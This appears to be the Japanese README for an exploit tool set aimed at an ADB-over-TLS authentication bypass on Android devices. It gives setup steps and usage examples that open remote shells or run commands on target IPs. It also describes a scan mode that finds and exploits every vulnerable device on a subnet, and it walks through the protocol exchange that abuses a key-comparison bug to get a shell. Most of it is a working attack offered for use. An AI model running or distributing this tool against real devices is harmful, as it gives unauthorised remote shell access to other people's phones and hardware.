# 仮想環境の作成
uv venv

# アクティベート
source .venv/bin/activate

# 依存関係のインストール
uv pip install -r requirements.txt

python3 adb_tls_auth_bypass.py 192.168.1.42              # 対話型シェル
python3 adb_tls_auth_bypass.py 192.168.1.42 5555 --cmd "id"

python3 adbt_scanner.py --host 192.168.1.42                # 対話型シェル
python3 adbt_scanner.py --host 192.168.1.42 --cmd "id; getprop ro.product.model"
python3 adbt_scanner.py --host 192.168.1.42 --port 5580 --cmd "whoami"

# フルスキャン: mDNS → ARP → ポートスキャン → ADB プローブ → エクスプロイト
python3 adbt_scanner.py --scan

# すべての脆弱なデバイスで特定のコマンドを実行
python3 adbt_scanner.py --scan --cmd "id; getprop ro.build.version.security_patch"

# 偵察のみ — 発見するがエクスプロイトしない
python3 adbt_scanner.py --scan --no-exploit

# 複数ポートをスキャン
python3 adbt_scanner.py --scan --ports 5555,5580,5037

# 検出されたサブネットを上書き（マルチホームホスト、特定レンジ）
python3 adbt_scanner.py --scan --subnet 192.168.2.0/24

# 低速ネットワーク向けにタイムアウトを調整
python3 adbt_scanner.py --scan --connect-timeout 5 --probe-timeout 10

# mDNS リスンウィンドウを延長
python3 adbt_scanner.py --scan --mdns-timeout 60

# 特定の検出フェーズをスキップ
python3 adbt_scanner.py --scan --no-mdns    # mDNS をスキップ、ARP のみ
python3 adbt_scanner.py --scan --no-arp     # ARP をスキップ、mDNS のみ

--scan                    ネットワークをスキャンして脆弱なデバイスを発見 + エクスプロイト
--host HOST               単一ターゲットへの直接エクスプロイト
--port PORT               --host モードの ADB ポート（デフォルト: 5555）
--cmd COMMAND             実行するシェルコマンド
-v, --verbose             詳細ログ

--mdns-timeout SECONDS    mDNS リスン時間（デフォルト: 30）
--ports PORTS             --scan モードのカンマ区切りポート（デフォルト: 5555）
--subnet CIDR             検出されたサブネットを上書き（例: 192.168.2.0/24）
--connect-timeout SECONDS TCP 接続タイムアウト（デフォルト: 2.0）
--probe-timeout SECONDS   ADB プローブタイムアウト（デフォルト: 3.0）
--arp-timeout SECONDS     ARP スイープタイムアウト（デフォルト: 3）
--no-mdns                 mDNS 検出をスキップ
--no-arp                  ARP スイープ + ポートスキャンをスキップ
--no-exploit              ADB プロトコルプローブフェーズ後に停止

┌─────────────────────────────────────────────────────────────┐
│ 1. サブネット検出  — netifaces → ip route → socket トリック │
│ 2. mDNS リスナー     — _adb-tls-connect._tcp（デフォルト 30 秒）│
│ 3. ARP スイープ         — scapy.arping → nmap -sn             │
│ 4. ポートスキャン         — 各ホスト:ポートへの TCP 接続       │
│ 5. ADB プロトコルプローブ — CNXN を送信、応答を分類           │
│                                                             │
│    STLS   → 脆弱（エクスプロイトに進む）                     │
│    AUTH   → レガシー ADB 認証（この CVE の対象外）           │
│    CNXN   → オープン、認証なし（すでにアクセス可能）         │
│    NO_ADB → ADB サービスではない                             │
│                                                             │
│ 6. エクスプロイト      — TLS アップグレード → 認証バイパス → シェル │
└─────────────────────────────────────────────────────────────┘

フェーズ 1 — クリアテキスト ADB
  クライアント → CNXN(payload="host::features=...")
  デバイス → STLS  (TLS へのアップグレードが必要)

フェーズ 2 — クロスアルゴリズムクライアント証明書による TLS 1.3
  クライアント → STLS 応答
  クライアント → TLS 1.3 ハンドシェイク + EC P-256 クライアント証明書
  デバイスが adbd_tls_verify_cert() を呼び出し：
    known_evp = /data/misc/adb/adb_keys の RSA 鍵
    evp_pkey  = クライアント証明書の EC P-256 鍵
    EVP_PKEY_cmp(known_evp, evp_pkey) → -1（型不一致）
    if (-1) → verified = true   ← バグ: -1 は真

フェーズ 3 — TLS 後の ADB サービスレイヤー
  クライアントがデバイスの CNXN をドレイン（トランスポートはすでにオンライン）
  ホスト CNXN は送信しない（handle_new_connection キックを誘発するため）
  クライアント → OPEN(local_id, window=32MB, payload="shell:\x00")
  デバイス → OKAY  → シェルストリーム確立